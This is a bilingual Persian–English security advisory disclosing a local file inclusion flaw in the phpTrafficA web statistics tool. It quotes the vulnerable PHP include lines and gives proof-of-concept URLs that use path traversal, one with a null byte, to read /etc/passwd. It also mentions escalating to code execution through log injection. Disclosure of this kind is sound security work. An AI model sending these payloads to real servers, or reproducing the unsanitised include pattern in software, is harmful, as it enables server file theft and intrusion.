1385-12-04 01:49:28 طبقه بندی :
امنیت در برنامه های سمت سرور (2)
آسیب پذیری های امنیتی (8)
آشنایی با آسیب پذیری پیوست فایل (خارجی و داخلی) (2) شماره مقاله : 1 سطح علمی : 1 کیفیت مقاله : 4 عنوان :آسيب پذيري پيوست فايل داخلي در phpTrafficA خلاصه مقاله يك نرم افزار مونيتور وب سايت تحت مجوز GPL بر پايه php و mysql است .
از قابليت هاي اين نرم افزار مونيتور هم زمان چند وب سايت و تعيين مشخصات بازديد كنندگان (نوع مرورگر – كشور و... ) مي باشد . متن اصلی
phpTrafficA-1.4.1 Local File Inclusion
phpTrafficA is a GPL statistical tool for web traffic analysis, written in php and mySQL.
It can track access counts to your website, search engines, keywords, and referrers that lead to you, operating systems, web browsers, visitor retention, path analysis, and a lot more!
http://soft.zoneo.net/phpTrafficA/
Credit:
The information has been provided by Hamid Ebadi
The original article can be found at : http://www.bugtraq.ir
Vulnerable Systems:
Version: phpTrafficA-1.4.1
phpTrafficA-1.4beta4
(also tested on phpTrafficA-1.3)
Description:
Input passed to the "file" parameter in "plotStat.php" and "lang" parameter in "banref.php" is not properly verified, before it is used to include files.
This can be exploited to include/see arbitrary files from local resources.
read more about file inclusion in http://www.bugtraq.ir/articles
Vulnerable Code :
//phpTrafficA/plotStat.php
//Vulnerable Code :line 14
if (!isset($file) or $file=="") {$file = $_GET['file'];}
include("./Php/phplot.php");
include("./tmp/".$file);
//phpTrafficA/plotStat.php
//Vulnerable Code :line 16
if (!isset($lang) or $lang == "") {
$lang = $_GET["lang"];
if ($lang == "") { $lang = $_POST["lang"];}
}
include ("./Lang/$lang.php");
POC exploit :
The following URL will cause local file inclusion
http://[HOST]/phpTrafficA/plotStat.php?file=/../../../../../../../../../etc/passwd
http://[HOST]/phpTrafficA/banref.php?lang=/../../../../../../../../../etc/passwd%00
# http://www.bugtraq.ir
آسيب پذيري پيوست فايل داخلي در phpTrafficA
phpTrafficA يك نرم افزار مونيتور وب سايت تحت مجوز GPL بر پايه php و mysql است .
از قابليت هاي اين نرم افزار مونيتور هم زمان چند وب سايت و تعيين مشخصات بازديد كنندگان (نوع مرورگر – كشور و... ) مي باشد .
كه در آدرس زير قايل دسترسي مي باشد .
http://soft.zoneo.net/phpTrafficA
http://www.bugtraq.ir
نسخه هاي آسيب پذير :
phpTrafficA-1.4beta4
phpTrafficA-1.3
نسخه هاي قبلي نيز اختمالا به علت تشابه آسيب پذير هستند .
توضيحات :
ورودي پارامتر "file" در "plotStat.php" و همچنين "lang" در "banref.php" پيش از پيوست فايل بصورت مناسب از لحاظ امنيتي بررسي نمي شوند .
نفوذگر با توجه به اين آسيب پذيري قادر به اجرا ( و همچنين خواندن ) فايل هاي دلخواه (حاوي كد هاي php ) از منابع داخل سرور (فايل هاي درون سرور ) مي باشد . همچنين با تزريق كد هاي php به فايل هايي درون سرور (نظير فايل هاي ثبت رويداد ) كد هاي دلخواه خود را اجرا كند .
مي توانيد اطلاعات بيشتر در مورد پيوست فايل داخلي Local File inclusion را در http://www.bugtraq.ir بيابيد .
كد هاي آسيب پذير :
//phpTrafficA/plotStat.php
//Vulnerable Code :line 14
if (!isset($file) or $file=="") {$file = $_GET['file'];}
include("./Php/phplot.php");
include("./tmp/".$file);
//phpTrafficA/plotStat.php
//Vulnerable Code :line 16
if (!isset($lang) or $lang == "") {
$lang = $_GET["lang"];
if ($lang == "") { $lang = $_POST["lang"];}
}
include ("./Lang/$lang.php");
كد مخرب براي اثبات ادعا :
http://[HOST]/phpTrafficA/plotStat.php?file=/../../../../../../../../../etc/passwd
http://[HOST]/phpTrafficA/banref.php?lang=/../../../../../../../../../etc/passwd%00
اين آسيب پذيري توسط حميد عبادي كشف شده و تمامي حقوق براي رسانه امنيت ديجيتال محفوظ مي باشد .
منبع : رسانه امنيت ديجيتال
http://www.bugtraq.ir
حميد عبادي منابع و نویسندگان : http://www.bugtraq.ir
|